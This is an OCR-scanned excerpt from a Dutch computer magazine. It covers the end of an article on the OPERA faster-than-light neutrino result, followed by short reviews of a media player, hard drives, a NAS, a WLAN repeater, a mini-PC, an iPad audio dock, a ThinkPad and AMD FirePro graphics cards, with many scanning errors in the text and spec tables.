sultaten te kunnen bevestigen of weerfeggea 
Bovendien is onder de projectnaam MIN0S+ 
een behoorlijke verfijning van de meting ge- 
pland waarmee de looptijden dan tot een of 
twee nanoseconden nauwkeu rig bepaald 
moeten kunnen worden. Maar voor 2014 hoe- 
ven we geen resultaten van MINOS+ te ver- 
wachten. 

Find September staakte het Fermilab het 
zoeken naar Higgs-deeitjes in de eigen grote 
vefsneller Tevatron. In plaats daarvan doet 
men mee met het CMS-experiment aan de 
LHC van CERN. Na 28 jaar succesvol werken 
werd de Tevatron uitgeschakeld en nu kan 
men zkh daar sterker op de experimenten 
rond neutrino's, donkere materie en energie 
richten en een nieuwe lined ire versneller 'Pro¬ 
ject X' bouwen, waarmee nog veel meer neu¬ 
trino's gegenereerd moeten kunnen worden. 

Einstein weerlegd? 

Albert Einstein wist nog niets van neutrino's 
toen hi] in 1905 zijn artikel 'Zur Elektrodyna- 
mik bewegter Korper' (De elektrodynamica 
van bewegende lichamen) publiceerde, dat 
uiteindelijk de geschiedenls inging als de 
speciale relativiteitstheorie. De Oostenrijkse 
natuurkundige Wolfgang Pauli bedacht' deze 
vreemde deeltjes in 1930 om vast te kunnen 
blijven houden aan de wetten van behoud 
van energie en impuls bij het beta ver val van 
kernen. Ze k re gen hun naam later van zijn 
Italiaanse collega Enrico Fermi Pauli meende 
zelf dat het bestaan van deze deeltjes nooit 
bewezen zou kunnen worden, maar in 1956 
kwam een Amerikaans onderzoeksteam 
onder leiding van Reines en Cowan met het 
experimentele bewljs. Ze moesten trouwens 
nog 40 jaar wachten voor ze daar de Nobel- 
prijs voor kregen. Dat bewijs is knap lastig 
omdat de laagenergetische neutrino's licht- 
jaren ver door materie kunnen vllegen voor 
ze ook maar lets van wisselwerking laten zien. 
De gemiddelde afstand die ze vrij afleggen is 



1600 m onder de top van het Italiaanse 
Gran-Sasso-gebergte liggen de grootste 
onderaardse laboratoria ter wereld - met 
een eigen afrit in de snelwegtunneL 


echter omgekeerd even redig aan hun energie. 
Bij de hoger energetische neutrino's In het 
OPERA-experiment is die afstand nog maar 
een paar honderdduizend kilometer. 

In 1998 ontdekten Japanse onderzoekers 
dat van de p-neutrino's die volgens bere- 
keningen op basis van het fusieproces van 
de zon op de aarde terecht zouden moeten 
komen maar zo'n 30 procent ook daadwer- 
kelijk aan komt Dit komt door de rn het begin 
genoemde merkwaardlge oscillatie naar t- en 
e-neutrino's. 

De Japanners gebrulken in de Mozumi- 
mijn 1000 meter onder de grond een enorme 
watertank met 50.000 ton hoogzuiver water 
als neutrinodetector. Momented is de instaf- 
latie 'Super-Kamiokandd echter nog buiten 
werking door de gevolgen van de aardbeving 
en tsunami afgelopen maart. Het was puur 
geluk dat de voorloper Kamiokande II samen 
met drie andere detectors op 24 februari 1987 
de supernova SNl987A kon voJgen. Die ont- 
plofte ongeveer 168.000 lichtjaar verwijderd 
in slechts ongeveer 10 seconden en stuurde 
daarbij onder andere ongelooflijke hoeveel- 
heden neutrino's de kosmos In. Als neutrino's 
echt zo snel zouden zijn ats OPERA die heeft 
gemeten, hadden ze eigenlijk al vier jaar eer- 
der gemeten moeten worden. In werkefijkheid 
kwamen ze echter maar drie uur eerder bin¬ 
nen dan de fotonen, wat verklaard kan wor¬ 
den door de wisselwerking tussen de fotonen 
en materie. Aan de andere kant hadden de 
supernovaneutrino's gemiddeld slechts een 
duizendste van de energie van de OPERA-neu- 
trino's, een ander type, en bovendien waren 
de detectors vier jaar misschlen nog niet zo 
ver... er blijven dus nog veel vragen open. 

Weten sc hap pers die gel oven in het bestaan 
van superluminale (sneller dan het licht) deeJ- 
tjes, oftewel tachyonen, beweren dat Einstein 
nooit gezegd heeft dat niets sneller dan het 
licht kan bewegen. In zijn werk van 1905 is 
hij wel vrij duidelijk: 'Voor sneiheden boven 
die van het licht worden onze overwegfngen 
zinloos" en "Sneiheden boven die van het 
licht kunnen - net als bij eerdere resultaten 
- niet bestaan." Maar zijn relativiteitstheorie 
laat futmte voor verdere interpretaties. Daar- 
mee blijft de lichtsnelheid een soort mijipaal, 
waarbij de complexe verschfjnseien boven die 
snelheid aan een andere fysische realiteit toe- 
gekend zouden kunnen worden, bij voorbeeld 
aan de tachyonen, die dan terug in de tijd zou¬ 
den moeten bewegen. 

Volgetingen van de snaartheorie en andere 
theorieen op basis van multidimensionaliteit 
die onze wereld als een soort membraan van 
een rulmte met meer dimensies beschouwen, 
hebben de grootste speelruimte voor interpre¬ 
taties. Zij kunnen de ver meende superluminale 
snelheid in princtpe ook zonder tachyonen en 
negatief tijdsgedrag simpel verklaren door een 
kortere weg, een 'tunnel' in een hogere dimen- 
sie. Dan blijft Einsteins speciale relativlteits- 
theorie in ons gewone membraanuniversum 
behouden en moet hij alleen wat uitgebreid 
worden voor meer dimensies. (mja) 
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Kort voorgesteld j Mediaplayer^ 4T8-schijf 



Gewichtige zwarte doos 


Sitecom wil met de HDD TV Media 
Player 2TB een alles-in-een-oplossing 
bieden voor de tv. De player heeft 
een grote harde schijf om alle soorten 
media bestanden af te spelen. 

De zwart afgewerkte kunststofbehuizing (23 
X 14 X 53 cm) heeft glimmende zijkanten 
en matzwarte randen. Zoals de naam van de 
player al aangeeft, zit er een 2TB harde schijf 
In (33 inch, NTFS geformatteerd)* Deze wordt 
gekoeld met een ventilator die een zacht 
suizen produceert, wat normaal Is voor dit 
soort a p para ten. Aan de achterkant zitten 
de gebrulkelijke aansluitingen: HDMI 1.3a, 
ethernet 1 x USB 2.0, drgitale audio en com¬ 
posite- en componentvideo en natuurlijk de 
voedingsaansluiting. Aan de voorkant zit een 
infraroodontvanger voor de afstandsbedie- 
ning en twee knopjes, waarvan er maar een 
aangesloten is: de aan/uatknop. Daaronder 
zitten twee USB 2.0“aansluitingen: voor een 
A- en een B-connector. Met de laatste (PC- 
Link) kun je de player direct als externe hard¬ 
disk op je pc aansluiten. Zodoende kun Je 
hem vullen met mediabestanden en wat je 
verder maar op de portable harddisk wilt zet- 
ten. Met de eerste aansluiting kun je externe 
mediabronnen aansluiten, 

Na het opstarten verschijnt het hoofd^ 
scherm met vier hoofdmenu's in tekstkolom- 
metjes naast elkaar: Films, Muziek, Foto's en 
Online. De eerste drie hebben een aantal 
gemeenschappelijke keuzes: Mijn Favorle- 
ten, Alfabetische volgorde en Apparaat Het 
online-menu be vat alleen de optie 'onlinet 
Rechtsonder op het hoofdscherm zitten nog 
de opties Apparaat verwijderen’ en ’Setup'. 
Met die laatste kun je het beste als eerste 
beginnen om de resolutie van de standaard 
480p naar ’HDMI automatische detectie’ om 
te zetten. 

Films zijn het belangrijkst. Die kun je direct 
in lOSOp vanaf de harde schijf of een aange¬ 
sloten usb-opslagmedium afspelen of via 
UPnP vanaf een computer of notebook/tablet 
in het lokale netwerk. Dat werkt met de Win¬ 
dows Media Player bijvoorbeeld meteen. 

De firmware wekt een slordige en onaf- 
gewerkte tndruk. De hoofdfuncties werken 
goed, maar een heleboel ’details' zijn nog niet 
uitgewerkt. Voor foto's is er bijvoorbeeld geen 
automatische slideshow-functle en de online- 
sectie is al helemaal summier met apps voor 
Youtube, Flickr, Picasa, vTuner (internetradio), 
Yahoo weather, Yahoo finance en Mediafly. In 
die laatste zitten populaire internatlonale the- 


makanalen (video en audio) voor onder ande- 
re news, games en fashion. Via de app W kom 
je bij Facebook, Esprit, BBC. Weatherbug, Yelp 
en een handjevol Chinese websites. Deze zijn 
allemaai erg moeilljk te lezen, je kunt er niet 
op inzoomen. Alieen als je de resolutie op z’n 
laagst zet, zijn ze enigszins lees baa r, maar links 
zijn niet aan te klikken en je kunt op Facebook 
niet inloggen omdat je de cursor niet kunt ver- 
plaatsen naar het wachtwoordveld. 

De meegeleverde afstandsbediening is 
kiein en overzichtelijk. Er is 00 k een gratis 
app beschikbaar [voor Android en iOS) om 
het apparaat met je smartphone via WLAN 
te bedienen. Voor de bediening is de smart- 
phone-app te prefereren. Je kunt kiezen ult 
twee schermen: een scherm met knoppen 
dat qua lay-out grotendeels overeenkomt 
met de knoppen op de afstandsbediening 
of een touchscherm. Dat is een leeg scherm 
waarmee je de menu's op de tv door swipen 
en tappen met een vinger kunt bedienen. 
Wanneer er tekst moet worden ingevoerd, 
verschijnt er automatische een onscreen 
toetsenbord. De knoppen op de officiele 
IR-afstandsbediening werken redelijk ver- 
moeiend, je moet ze goed induwen voordat 
er lets gebeurt. In combinatie met de nor- 
male vertraging die je hebt bij het bedienen 
van onscreen menu's zorgt dat ervoor dat 
je regelmatig een keer te veel op hetzelfde 
knopje drukt, met onbedoelde keuzes als ge- 
volg. 

Tijdens gebrulk hebben we een hoger 
energleverbrulk gemeten dan de 4,5 W die 
de fabrikant opgeeft. Ook als er geen media 
werd afgespeeld, bleef het verbrulk hoog en 
draaide de harde schijf gewoon door. 

Deze media player is bedoeld als stationaire 
en als mobiele player. Je kunt hem aansluiten 
op de pc en de 2TB-schijf vullen met films, 
muziek en foto's en vervolgens meenemen 
naar vrienden en daar afspelen. Dat doet hij 
goed, ondanks datje beperkt bent tot USB 
2.0. Ook het streamen gaat goed. Voor het be- 
zoeken van websites is hij niet geschikt, zelfs 
Youtube-filmpjes konden we niet beeldvut- 
lend afspelen. Daarom kijken we uit naar de 
volgende firmware-update. Met de huidige 
lage prijzen voor 2T8-schijven (v.a. 65 euro) 
kun je beter een medlapfayer zonder hdd 
kopen voor net meer dan 100 euro en daar 
zelf een 2TB-schijf in een externe behuizlng 
aan hangen. Dan heb je in ieder geval kans op 
betere software. (jmu) 


Meet hangijzer 

Seagate levert de 
eerste 4TB-harddisk 
voorlopig alleen in 
behuizing met USB- en 
FireWire-aansluitlngen. 



Seagate doet dat waarschijniijk omdat het 
bedrijf daarmee klachten voorkomt van klan- 
ten die nlets weten over de 2,2TB-grens van 
oudere besturingssystemen, BlOS-versies en 
drivers. 

De externe aansluiting is wel een Serial- 
ATA-interface (geen eSATA!), maar je kunt er 
alleen een speciale GoFlex-adapter op aan¬ 
sluiten. Standaard wordt er een voor USB 3.0 
meegeleverd, voor iets meer geld kun je ook 
een dockingstatlon kopen met USB 2.0- en 
FireWire 800-interfaces. Seagate wil de schijf 
ook in de eenvoudige NAS GoFlex Home met 
een gigabitnetwerkadapter leveren. 

De schijf meldt zich bi] het besturings- 
systeem met 4k-sectoren. Hierdoor kan ook 
Windows XP de schijf benaderen, maar je 
kunt echter niet van de schijf booten. Ookals 
opslag voor de meeste tv's en digitale video- 
recorders is de schijf niet te gebruiken. 

Via USB 3.0 haalden we een transferrate 
van 178 MB/s bi] lezen en schrijven. Op de 
binnenste sporen daalt de snelheld net als bij 
alle harde schijven naarde helft. FireWire 800 
smoort de snelheid tot 51 MB/s, de andere 
opties zijn nog iangzamer. 

De schijf wordt behoorlijk warm, idle 
wordt volgens SMART al snel 51 °C bereikt. 
Dat is nog net toJerabel, maar het is aan te 
raden om de stand-byfuncties te activeren. 
Bij het schrijven steeg de temperatuur zelfs 
naar 63 "C. Oat wekte in combinatie met de 
korte garantietijd van twee jaar niet vee! 
vertrouwen. Voor hetzelfde geld is het waar- 
schijnlijk slimmer om vler 2TB-schljven te 
kopen. (mja) 


Sitecom HDD TV Media Player 

■ STAC4000200 GoFlex Desk | 

2TBMD-272 

1 4TB schijf 


Mediaplayer 


Fabrikant 

Seagate, www.seagate.com 

Fabrikant 

Sitecom. www.sitecom.com 

Interface 

USB 3.0 

Firmwareyersie 

2.9.3 

Cap^cite^t 

3726 GB 

Aansluitingen 

13a, ethemet, 2 x m 2,0.1 x USB B, 

Continue transferrate buen 

S4/13a/17S MB/s 


S^Oi F en coax-audio, compcisrte, component 

{min/gem/maw) 


Video 

aa, MPEG2. MPEH WMV9. VC-1, MKV. AVI, DivX, 

Continue transfeirate schrijven 

40/101/177 MB/s 


V0B.M0V,fLV 

(min/gem/max) 


Audio 

MP3, MP2, WAV, PCM, AAC, AG, FUU; WMA, m 

Gduid rust en seek 

0,4sone 

Fioto 

GIF,BMP,JPKTiF/TIFF,PKG 

Verbruik stand-by / rust / seek 

3,3/10,1/12,6 W 

Energieverbruik 

ca. 4,5 W by gebjuik en 13 W stand-by 

Meegeleverd 

USB 3.0-adapter, Memeo Backup 

vigs fabjikant 



en Sync-software {testversie) 

Prijs ca. 

€ 230 (Infomiattque} 

Prijs met USE 3.0-adapter 

€300 
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Kort voorgesteld | Netwerkopslag, USB S-O-behyizing/Wlan-repeater 



Mini-NAS 



USB 3.0 met carbon-look 


WLAN-uitbreiding 


Silverstone verkoopt met de DC01 
een aluminium NAS-behuizing van 
bijzonder compacte afmetingen voor 
harde schijven van 2,5”-schijven. 


De externe behuizing Raven RVS02 
voor 2,5"-harddi5ks bevat een USB 
3,0“bridge die geschikt is voor SATA 
6G. 


Cisco's Range Extender 1000 vergroot 
het bereik van WLAN's met een 
maxi male snelheid van 300 Mbit/s, 
maar alleen op 2,4 GHz. 


De behuiztng (van 12,3 cm x 12,3 cm x 3,5 cm 
(I X b X h)) heeft geen ventilator en past 
prima in de boekenkast. Onder de deksel 
gaat een duakore ARM-chip van Oxford 
met 750 MHz verscholen. In de NAS kun je 
slechts een enkele 2,5'-SATA-drive met een 
dikte van 9,5 of 12,5 mm inbouwen, maar via 
eSATA kun je nog een tweede drive aanslui- 
ten. In combinatie met de interne drive kan 
daar dan een software-RAtD 0, 1 of een en¬ 
kele grote schijf ('Linear Mode') van worden 
gemaakt. Visueel doet dat het design van het 
Apple-aandoende kastje natuurlijk volledig 
teniet.Via de twee USB 2.0-aansluitingen kun 
je een printer of een UPS aansluiten. 

In de browserconfigyratte krijg je geen 
speciaal aangepast front-end, maar alleen de 
desktop!nterface van een Embedded Linux 
te zien, die doet denken aan Gnome of KDE. 
Dat ziet er aardig uit, maar maakt het werk er 
niet makkelljker op. Om afzonderlijke direc¬ 
tory's te deien, meet je een onoverzichteiijke 
filemanager gebruiken. De NAS ondersteunt 
ook geen gebruikersgroepen. In het lokale 
netwerk is de DC01 te benaderen via AFP, 
NFS en SMB, op afstand ook via ftp en de 
DynDNS-dienst myakitioxom. Ook aanwezig 
zijn een client voor BitTorrent en een media- 
server. De DCOI kan foto's als een slideshow 
m de browser weergeven of naar Facebook 
en Fiickr upioaden, video’s ook naar YouTube. 

Als je maar kleine hoeveelheden bestan- 
den in je netwerk wilt deien en daar een 
bijzonder stille en zulnige opslagplek voor 
zoekt, kan de DCOI interessant zijn. Het lezen 
van de NAS gaat aardig snel, bij schrijven 
daalt hij onder het USB 2.0-niveau. Ook het 
onhandige bedieningsconcept vergt enige 
gewenning. (mja) 


De Raven-serle van Silverstone bestaat niet 
alleen ult diepzwarte pc-behuizingen, maar 
biedt in dezelfde kleur ook externe opsfag- 
behuizmgen. Opvallend aan de externe be- 
huizing voor 2,5"-schijven SST-RVS02 is echter 
niet alleen de matzwarte plastic behuizing, 
maar ook de SATA 6G-ondersteunende USB 
3.0-SATA-bridgechip Asmedia ASM10511. 

Aangezien SATA downwards compati¬ 
ble is, werken SATA-6G-media ook op SATA 
I t-poorten. Maar de ASM 1051E moet via SATA 
6G met ingebouwde opslagmedia communi- 
ceren. Bij magneetschi|ven speelt dat geen 
rol, omdat ze de maximale snelheid van SATA 
ir niet kunnen uitbuiten. Maar SATA-6G-ssd’s 
zoais de Crucial m4 halen leessnelheden 
van meer dan 500 MB/s, de Patriot Wildfire 
bijvoorbeeld 450 MB/s. Helaas remt de USB 
3.0-adapter de genoemde ssd's tot slechts de 
helft van hun potent!eel - maximaal was 252 
MB/s mogelijk. Dat is op zich een heel goede 
waarde voor een USB-SATA-bridge, maar ver 
verwijderd van het theoretische USB-Super- 
speed-maximum - bij een brutosnelheid van 
5 Gb/s zouden 300 tot 400 MB/s netto moge- 
fijk moeten zijn. 

Mechanisch wekt de Silverstone Raven 
een heel degelijke indruk, maar hij is wel kras- 
gevoelig. De USB 3.0-plug in miniformaat zit 
vast in deaansluiting. Om het opsiagmedium 
in te bouwen hefo Je geen gereedschap nodig, 
maar de vergrendeling van de deksel is wel 
wat stroef. Een aansluiting voor 5 volt is aan¬ 
wezig, maar Silverstone I evert geen bijpas- 
sende voeding mee. Bij een USB 2.0-poort 
moet een Y-kabel uitkomst bieden als de 
harde schijf te stroom nodig heeft - dat lukt 
niet op efke pc. Conciusle: de SST-RVS02 is 
wat te duu r voor wat hIJ biedt. (mja) 


Het instellen van de repeater is een fluitje 
van een cent door tegelijk op de WPS-knop 
van de repeater en die van de router te druk- 
ken. Voor routers die niet via WPS zijn in te 
stellen, wordt op cd extra Windows-soft ware 
meegeleverd. Na het starten daarvan maakt 
een WLAN-computer via een goed bevel- 
ligde ver bin ding automat! sch verbinding 
met de Extender, VervoJgens kies Je uit een 
lijst van beschikbare draadloze netwerken je 
eigen netwerk ult, voert het wachtwoord In 
en klaar is Kees. 

De REIOOO werkt als Universal Repeater 
(client en accesspoint, geen WDS). Nor- 
maal gesproken halveert een repeater de 
doorvoer omdat een datapakket eerst ont- 
vangen moet worden en dan op hetzelfde 
kanaal weer verstuurd wordt. Desondanks 
kan hij In bepaalde situaties de bandbreedte 
vergroten. Bij een korte test op onze redac- 
tie verdubbelde de extender de netto band¬ 
breedte over 25 meter door twee muren 
heen van 5,5 naar 12 Mbit/s (als basis de 
DIR-S25, een notebook met Intel WLAN- 
module 6300 en een kanaalbreedte van 20 
MHz). Over 50 meter kwam hij tot 6 in plaats 
van 0 Mbit/s. 

Wat IPv6 betreft, gedroeg de REIOOO zich 
ietwat vreemd: clients op de lan-poort kon- 
den IPv6 gebruiken, maar draadtoos ver- 
bonden pc's daarentegen niet. Het apparaat 
kon wel meerdere computers bedienen, die 
via een switch waren aangesloten. De Cisco 
heeft geen externe voeding en kan met een 
verioopstuk meteen op een stopcontact 
worden aangesloten. Een aparte stroom- 
kabel wordt meegeleverd, zodat je hem niet 
per se in de buurt van een stopcontact hoeft 
neer tezetten. (mja) 


DCOI 


Raven RVS02 


Cisco Linksys RE1000 

KAS-behuijjng voor 2,5"-sdt1jven 

BSB B.O-behyizinj iroor Z,S''-haiiddlsh 

Wflan-repeater 


Fabriksnt 

Silverstone, www.sitverstonetek.com 

Fabrikant 

Silverstcne TechiiotDgyj www,silverstQnetek.com 

Fabrikant 

Cisco, www.ci5co,nl 

MeegfJeveH 

schmeven, externe voedtrvg, netwerkkabel 

Meegeieveni 

bebuijing, Y-kabel (40 cm lang, 

Wlan 

80Il1n-3OO,srngiebandl4GHz,WPS 

SIVlB-transfenates 

46/20 MB/sUe^en/schfijveii) 


mlni-usb naar type A)> handleiding 

Bedienelemeoten 

aarr/uitschakielaac reset-enWPS-toetSv 2 statusled's 


4W/5W/BW 

(schijf uit / rust / beoadering) 

Afmetingerr 

(Ixbxh) 

12,Scrt}x7,Sc(nxl,9 cm 

Aansluitiogen 

Verbruik 

1 xftJ4S [Ian, Fast Ethernet) 

0,2 / 3,7 / 4,0 wan (uit / idle zonder Ian / idle 

Seluld 

0,2 sone trust en benaderiog) 

Gewitht 

62g 


met Ian), ca. € 7,50 per jaar hij 21 ct/kWb 

Prp 

€ TOO {jonder schijf) 

Prijsca, 

€23 

Prijs ca. 

€65 
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Kort voorgesteld | Mini-barebone^ Audio-dockmgstation 


Fusion-box 

Al driejaar gebruikt Asus voor zijn 
EeeBox minhpc's Atom-processors van 
[ntel, nu verschijnt de eerste variant 
met een AMD E-350. 

Op dit moment kunnen kopers van de Eee¬ 
Box uit vrer verschillende Atom-versies in 
de kleuren zwart of wit kiezen. Afhankelijk 
van de uitrusting kosten ze tussen de 200 en 
480 euro. Oe luxe versies hebben een inge- 
bouwde Blu-rayspeler en worden geleverd 
met Windows 7 Home Premium, toetsen- 
bord en muis. De eerste EeeBox met AMO 
E-350 wordt echter geleverd zonder bestu- 
ringssysteem, invoerapparaten en optische 
drive, maar wel met 2 GB RAM en een 250 
GB harde schijf. De harde schijf is eenvoudig 
te wisselen, dit in tegenstelling tot het werk- 
geheugen: de daarvoor benodigde stappen 
documenteert Asus niet eens. Volgens onze 
ervaring is het risico groot dat bij het openen 
de behuizing beschadigd raakt, 

Maar ook met 2 GB RAM en de redelijk 
viotte notebookschijf - een 7mm-schijf met 
een platter, maar dikkere passen ook - komt 
de EeeBox EB1021 goed voor de dag als je 
hem met andere Atom- en Atom/lon-syste- 
men vergelijkt. Goedkopere 'normale' cpu's 
als de nieuwe duakore-Celeron G530 zijn 
wel veel sneller, maar ook duurder en min¬ 
der energiezuinig. De EeeBox verbruikt idle 
slechts 12 Watt en is met een geluidsniveau 
van 0,1 sone fluisterstiL BIj maximale belas- 


1 Asus EeeBox PC EB1021 I 

MmFpc met AMD dual-cere-pfocessor T35D 

Fabrikant 

Asus, www.asus.nl 

Afmetingen[lxbxh) 

24,S cmxZ^crrtxlScm 
(zonder voetsieon) 

Processor / chipset 

AMD E-350 (1,6 GHi,Zacaie)/A50M 
(Hudson M1) 

RAM (type/max) 

1kSO«M(PG40600/2GB) 

Lart [chip/type) 

1 Gbit/s (RealtekRTLS111,PCIe) 

Wlan (chip/type) 

aD231n:2,4GH2,150Mbil/s 

(AtherosAR9285,PCfe) 

Geluid (chip/type) 

Stereo + S/PDIF-out [via optische adap¬ 
ter) [Realtek, HO Audio] 

BlOS-versie 

0402,23.8.2011 

Meegeleverde accessoires 

netvoedfng, voetsteun, rnouritkit vcror 
monitoren met Vesa-bevestiging, opti- 
scbeTosI Ink-adapter 

Frsterne ittstaekslots 

niettcegankehjk 

Schijfcompartiment 

1 x2,r SATA harde sch^ 

Aansluitingen voqr 

2 X USB 3.0,2 X audiojack [3,5 mm, 1 x 
met 5/PDIF), kaartlezer [SD/SDXC/MMC] 

Aansluitingen aditer 

1xLAR1xVGA,1xHDMl 

1 X RS-232, wlan-antenne, netvoeding 

Aansluitingen boven 

4 X USB 2.0 

Geluidsontwikkeling / 

0,1 sone (voile beiasting: 0,4 sone) 

beoordeling 

/@@ 

Kwa llteit analoge audio- 
slgnaal 

@ 

Energieverbruik 

netvoeding: 

ADP40PH,19V/2,1A/40W 

Soft-off/Stand-by 
(ACPI S3) 

0,7/03 Wan 

Idle/cpu vol belast/tpu 
-r-gpu 

12/26/32 Watt 

Prijs 

€355(MyCdm) 

^ heel goed ®goed Ovoldoende ©slecht ©©beelslecbt 



ting van de cpu en gpu verbruikt de AMD 
E-3S0 aanzienlijk meer energre dan een 
Atom, maar nog steeds minder dan een lon- 
systeem. Bij een constante belasting is de 
ventilator goed te horen, maar het geluid 
blijft ruimschoots binnen de perken. 

Asus stelt het RAM m op 667 MHz [DDR3- 
1333) en strikt genomen overklokt het be- 
drijf daarmee de geheugenmterface voor 
DDR3-1066. Dit leidt tot een iets hogere 3D- 
performance, die desondanks alleen voor 
zeer eenvoudige games voistaat. De in de 
E-350 geintegreerde gpu Radeon HD 6310 
is een fractie sneller dan de Nvidia Ion 2. De 
UVD-eenheid (Unified Video Decoder) deco- 
deert HD-video's en kan in prindpe ook Blu- 
rays aan. Bij 1080p-materiaal van YouTube 
schokt het een beetje, maar dat Is welllcht te 
wijten aan een probleem tussen Flash 10.3 
en het grafische stuurprogramma Catalyst 
n.8 van AMD. 

De SD-kaartlezer ondersteunt SDXC, maar 
alleen op 16,5 MB/s en dat Is niet bijster snel. 
De USB 3.0-verbinding werkt vlot, hoewel 
een van onze apparaten op de onderste van 
de twee poorten op het frontpaneel niet 
werd herkend. Aan de bovenzijde van de 
behuizing zitten een aantal USB 2.0-poorten. 
Daar moet je dus ook het toetsenbord en de 
muis op aansluiten en - bij gebrek aan een 
ingebouwde Bluetooth-chip - een draadloze 
ontvanger, maar dat ziet er niet uit. Je vraagt 
je dan ook af wat de ontwikkelaars van Asus 
bezielde om aan de achterkant In plaats van 
twee extra usb-poorten een verouderde 
COM-poort m te bouwen. Nog een kleine 
blunder: de SATA-poort kan niet in AHCf- 
modus worden geconfigureerd, maar alleen 
in de IDE-modus. 

Ondanks deze kleine nadelen is de Eee¬ 
Box EB1021 een goede mini-pc, als je je 
tenminste kunt redden met de nauwelijks 
uitbreidbare hardware en de geringe perfor¬ 
mance. Voor dezelfde prijs zijn er al vergelijk- 
bare netbooks - zonder USB 3.0, maar wel 
met een display en accu. (jca) 



iPad-mengpaneel 

De iO Dock breidt de iPad uit met 
professionele audio-in- en uitgangen, 
maar helaas niet digitaal. 

In de App Store zijn weliswaar een boel 
coole muziek-, dj- en synth-apps voor de 
iPad te vinden, maar bij gebrek aan fatsoen- 
lijke analoge aansluitingen was Apples ta¬ 
blet tot nu toe alleen op omslachtige wijze in 
een professionele line-up te integreren. De 
iO Dock van Alesis brengt daar verandering 
in. Via het docking station kun je standaard 
een eerste generatie iPad aansluiten, voor de 
iPad 2 wordt een kunststoffen adapter mee- 
geleverd. 

Op de twee XLR-jack-combi-aansluitin- 
gen kun je nu eindelijk een hoogwaardlge 
microfoon aansluiten en handmatig ana- 
loog tnregelen. Er is zelfs een schakelbare 
fantoomvoeding. De iO Dock versterkt een 
slgnaal van 8 mV tot 2,5 volt met een ver- 
VOrmingsfactor van 0,01 procent Het resuh 
taat is een dynamiek van -85,7 dB[A) bij een 
nagenoeg lineaire frequentlecurve. Helaas 
ondersteunen lang niet alle apps de ex- 
terne microfooningangen: Garage Band, 
MuftiTrack DAW en Twisted Wave werkten 
probleemloos in een korte test, maar Studio 
Track crashte. 

Het hoge signaalniveau van de regel bare 
line-out- en hoofdtelefoonaansiuitingen van 
2,4 tot 2,6 volt is voorbeetdig. Zelfs in de 16- 
bit resolutie op 44,1 kHz van de iPad bereikt 
het dockrngstation door het gebrulkte filter 
een dynamiek van -100,4 dB{A) - zeer goed, 
Apparaten die Core MIDI ondersteunen kun¬ 
nen zowel via de MIDI- als de usb-poort wor¬ 
den aangestuurd. 

De iO Dock is dankzij zijn degelljke afwer- 
king en goede gel uidskwaliteit zeer geschikt 
om synthesizers en andere touch-instrumen- 
ten voor professioneel gebruik aan te sluiten. 
Het enige wat ontbreekt zijn digitale in- en 
uitgangen. (jca) 


iO Dock 


Audio-aochingstation vaoi de iPad 

PrwJucent Afesis. www.alesiscom 
Uitgingen hwfdtelefson, 2 x line-out (beide 63 compcsite 
video (dncti), MIDI (DIR USBl 
Ingangen 2 x micfofooi/gttaaf [sj^mmetrisch, XLR/Jack, 

fantaofttvoetJingJ, MIDI [OINj USB), voetschskelaar 
Systemen iPad, IPad 2 
Prijs € 179 (www.bajf-shop.nl) 
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Kort voorgesteld | Notebook, Professionele grafische kaarten 



Subnotebook voor geeks 

Het n,6Hnch notebook van Lenovo 
heeft een goede uitrusting, Is 
verrassend snel en heeft een lange 
accuduur. 

Subnotebooks hebben de naam klein en krach- 
tig te zijn, maar ook duur. De ThinkPad X121e 
(NWSSRMH) valt qua prijs in leder geval al mee, 
Het apparaat kost ongeveer 430 euro en heeft 
een mat heIder display van 11,6 Inch en 1366 x 
768 pixels. Het hart van het sub notebook wordt 
gevormd door een AMD £-350-processor die 
meer performance biedt dan Intels Atom en 
dankzij hardwareversnelling ook HD-video's 
vioeiend kan afspelen via een HDMI-uitgang. 
Het hele apparaat weegt met meer dan 1,5 kilo, 
ondanks de fllnke 62 Wh-accu. 

Dankzij die accu heeft de X121e een werk- 
duur van minimaal acht uur. De ventilator 
draalt vrijwel constant, maar zelfs onder beias- 
ting is deze geenszins storend {0,4 sone). De 
harde schijf is lekker viot Zoals we gewend 
zgn van Lenovo heeft het toetsenbord een 
goede aanslag, al zijn de toetsen we I wat klei- 
ner dan de desktop-equivalenten. De Fn-toets 
zit helemaal aan de linkerkant maar kun je via 
het BIOS verwisselen met de CtrLtoets die er- 
naast zit 

Als je de de bodemplaat verwijdert gaat het 
hart sneller kloppen: twee antennekabels gaan 
naar een lege mintcard-slot en achter de accu 
Z3t een SIM-kaartlezer. Het toevoegen van een 
UMTS-modem is dus geen probleem. 

De uTtrusting overstijgt die van een netbook. 
De dualcore-processor, het geheugen van 4 GB, 
een AMD Radeon HD 6310 en de harde schijf 
van 320 G8 zorgen ervoor dat de geinstaL 
leerde 64-bit Windows 7 Home Premium snel 
genoeg werkt. Voor meer performance en 200 
euro extra is er ook een versie met een Core 
i 3-processor. 

Al metal overtuigd de ThinkPad X12te met 
een goede uitrusting en een lange accuduur. 

(jsc) 


Lenovo ThinkPad XI21 e 


Subnotebookmet een lange aauduur 


Uitrusting 


Aansluitingen 
Aftnetingen/accuduur 
;:md&rb&lasting 
Prijs 


1t6"-display (1366 X 768), AMO E-3S0 
(2 kerrien,1,6GHz), Radeon HD 6310, 

4 GB RAM, 320 GB HD, camera, Windows 7 
StM^kaartiezor, VGA, HDMS, USB 3.0, GWMan 
2S,8cmx2l,2cm/ 

€430(AMtty.(vIl 



Nieuwe aanwas 

AMD's professionele grafische kaarten 
FireProV5900en V7900 bieden 
minder shaders, maar dankzij de 
Cayman-chips wel meer performance. 

De FirePro-serie van AMD heeft twee nieuwe 
telgen: de RrePro V5900 (400 euro) en de V7900 
(600 euro). Beide bezetten maar een slot in de 
behuizing. De grafische chips zijn gebaseerd 
op de mod erne Cayman-architectuur, die sinds 
december 2010 al in de Radeon HD 6900 zit 
Vergeleken met de voorgangers op basis van 
Evergreen-chips werken de Caymans efficienter 
en bieden ze een hogere geometrische perfor¬ 
mance. Anderzijds hebben de RrePro-Caymans 
minder functie-units dan Hun voorgangers. 

De grafische chip van de FirePro V5900 
heeft bijvoorbeeld slechts 512 shaderunits en 
32 ROP's die op 600 MHz draaien. Om grote of 
meerdere displays aan te sturen heeft de V5900 
de beschikking over in totaa! 2 GB GDDR5-ge- 
heugen. Dat draait echter slechts op 1000 MHz 
(read/write-ciock) en kan daardoor maximaal 
64 GB/s aan data been en weer schryven. De 
FirePro V7900 is merkbaar sneller door de 1280 
shaderunits, waarbij elke unit afzonderlijk ook 
nog eens zo'n 20 procent sneller rekent (725 
